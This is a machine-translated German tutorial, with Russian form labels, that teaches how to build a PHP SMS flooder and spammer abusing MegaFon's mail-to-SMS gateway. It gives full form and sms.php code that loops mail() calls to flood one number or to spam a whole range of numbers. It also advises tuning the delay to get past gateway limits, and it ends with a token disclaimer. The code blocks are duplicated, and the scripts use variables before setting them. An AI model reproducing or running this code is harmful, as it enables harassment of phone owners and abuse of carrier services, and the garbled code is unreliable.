This page has been robot translated, sorry for typos if any. Original content here.

Wir schreiben Sms Flooder oder Spammer (mail2sms)

mail2sms
Es wurden entweder nicht funktionierende Links oder nicht funktionierende Skripte gefunden, um den Flooder zu rollen. Das Opfer war der russische MEGAFON. Nehmen wir ihn als Beispiel.

FLUD

Zuerst werden wir herausfinden, was ein Flooder ist. Nach meinem Verständnis ist ein Flooder ein Programm oder ein Skript, das / die bestimmte Informationen an einen bestimmten Empfänger in einer bestimmten Menge sendet (oft sehr groß).

Also, was brauchen wir, um einen solchen Flooder zu schreiben? Ja, fast nichts:
  • Hosting mit PHP-Unterstützung
  • Gehirn + gerade Arme
  • die Möglichkeit, Google zu verwenden
Für Überschwemmungen verwenden wir das SMS-Gateway dieses Betreibers.
SMS-Gateway ist eine Schnittstelle, mit der Sie SMS-Nachrichten senden und empfangen können, ohne ein Mobiltelefon zu verwenden. SMS-Nachrichten werden in E-Mail-Nachrichten, HTTP-Anfragen und zurück konvertiert. Eine über ein solches Gateway gesendete Nachricht kann für den Absender frei sein; Es sind jedoch technische Einschränkungen möglich, z. B. die Anzahl der Nachrichten, die von einem Computer pro Tag gesendet werden.

Wie Sie oben sehen können, lernen fortgeschrittene Programmierer nichts Neues für sich.
Du hast dich also für das Hosting entschieden, du hast es herausgefunden ...
Erstellen Sie die index.php- Seite des folgenden Inhalts:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie Sie aus dem Code sehen können, wird es eine Seite mit einem Formular zum Senden an unser Skript sein, das als sms.php bezeichnet wird:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Wir fangen an, den Code zu analysieren.
Am Anfang des Skripts weisen wir Variablen zu.
$ from - jede Mailbox, von der Nachrichten gesendet werden.
Der Adressat, also derjenige, den wir zu überschwemmen drohen. Der Wert der Variablen wird der Form index.php entnommen und mit @ sms.mgsm.ru zusammengeführt. Was ist das @ sms.mgsm.ru? Dies ist der SMS-Gateway-Operator Megafon.
$ msg ist eine Variable, die den zu sendenden Text enthält.
Als nächstes gibt es einen Zyklus, dessen Aufgabe es ist, die gewünschte Nachricht mit einem Pausenschlaf zu senden.
Die Mail-Funktion ist für die Weiterleitung der Mail an das Gateway zuständig.

Nun über die Funktion schlafen . Warum wird es gebraucht?
Wenn wir es nicht eingeben, reagiert der Server nicht auf die benötigte Menge an SMS und sendet sie in einer Menge von 1-2 Stück. Damit der Server reagieren kann und diese Funktion benötigt wird. In Klammern wird die Anzahl der Sekunden der Verzögerung geschrieben. Diese Figur wird nach der Methode der Aufzählung verschiedener Varianten ausgewählt. Ihr Wert kann von der Belastung des Gateways und der Geschwindigkeit Ihres Internet abhängig sein. Experimentieren Sie hier also. Das Skript wurde mit Parameter 7 überprüft.

Wir überprüfen das Skript. Wir gehen zu unserem Formular, geben die erforderlichen Daten ein und klicken auf den Button ...
Jetzt sollten Sie berücksichtigen, dass das Skript nicht sofort ausgeführt wird , sondern allmählich auf die Pause wartet, die Sie nach dem Senden jeder Nachricht eingestellt haben.

SPAM

Was ist Spam? Ich verstehe Spam als Massenmailing von Informationen an verschiedene Personen zu unterschiedlichen Zwecken. Was wir brauchen, um Spam zu organisieren
  • alles was für den Flooder gelistet war
Wir müssen die Versandform etwas ändern. Ich werde nur ein Fragment geben:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und ein wenig modifizierte sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Ich denke, alles ist klar. Wir bewegen uns auf einem bestimmten Nummernbereich und senden sie SMS in einem bestimmten Intervall. Diese Methode:
[+] funktioniert ohne Datenbank. pro Person Geld und Verkehr sparen
[+] Im Gegensatz zur Basis erhalten Sie auch die Netzwerk-Anfänger, die noch nicht in Datenbanken verfügbar sind (kostenpflichtig und kostenlos)
[-] Nicht alle gesendeten SMS werden gesendet, weil es keine solchen Nummern gibt. Sie können jedoch einen solchen Bereich wählen, so dass eine maximale SMS-Zustellungswahrscheinlichkeit besteht.

Was ich abschließend sagen kann ...
Dieses Material ruft Sie nicht zum Handeln auf und hat einen Faktenfindungs-Charakter. Der Autor des Artikels ist mir, und beim Kopieren der Link hier ist erforderlich.
Mit einem kleinen Wunsch und der nötigen Geschicklichkeit wird das Skript in einen Spammer umgewandelt oder an einen anderen Operator angepasst, mit einem funktionierenden SMS-Gateway. Für die Suche nach Gateways benötigten wir die Fähigkeit zu Google. Für die Faulen - eine große Liste von Gateways . Aber das wird vielleicht der nächste Artikel sein.

PS Flooder kürzlich getestet. Alles funktioniert super. Wenn es nicht funktioniert, gibt es mehrere Optionen. Ein - krumme Hände. Zweitens - Ihr Hosting hält die Mailfunktion nicht. Drittens: Der Betreiber hat das Gateway geändert oder das Gateway ist überlastet.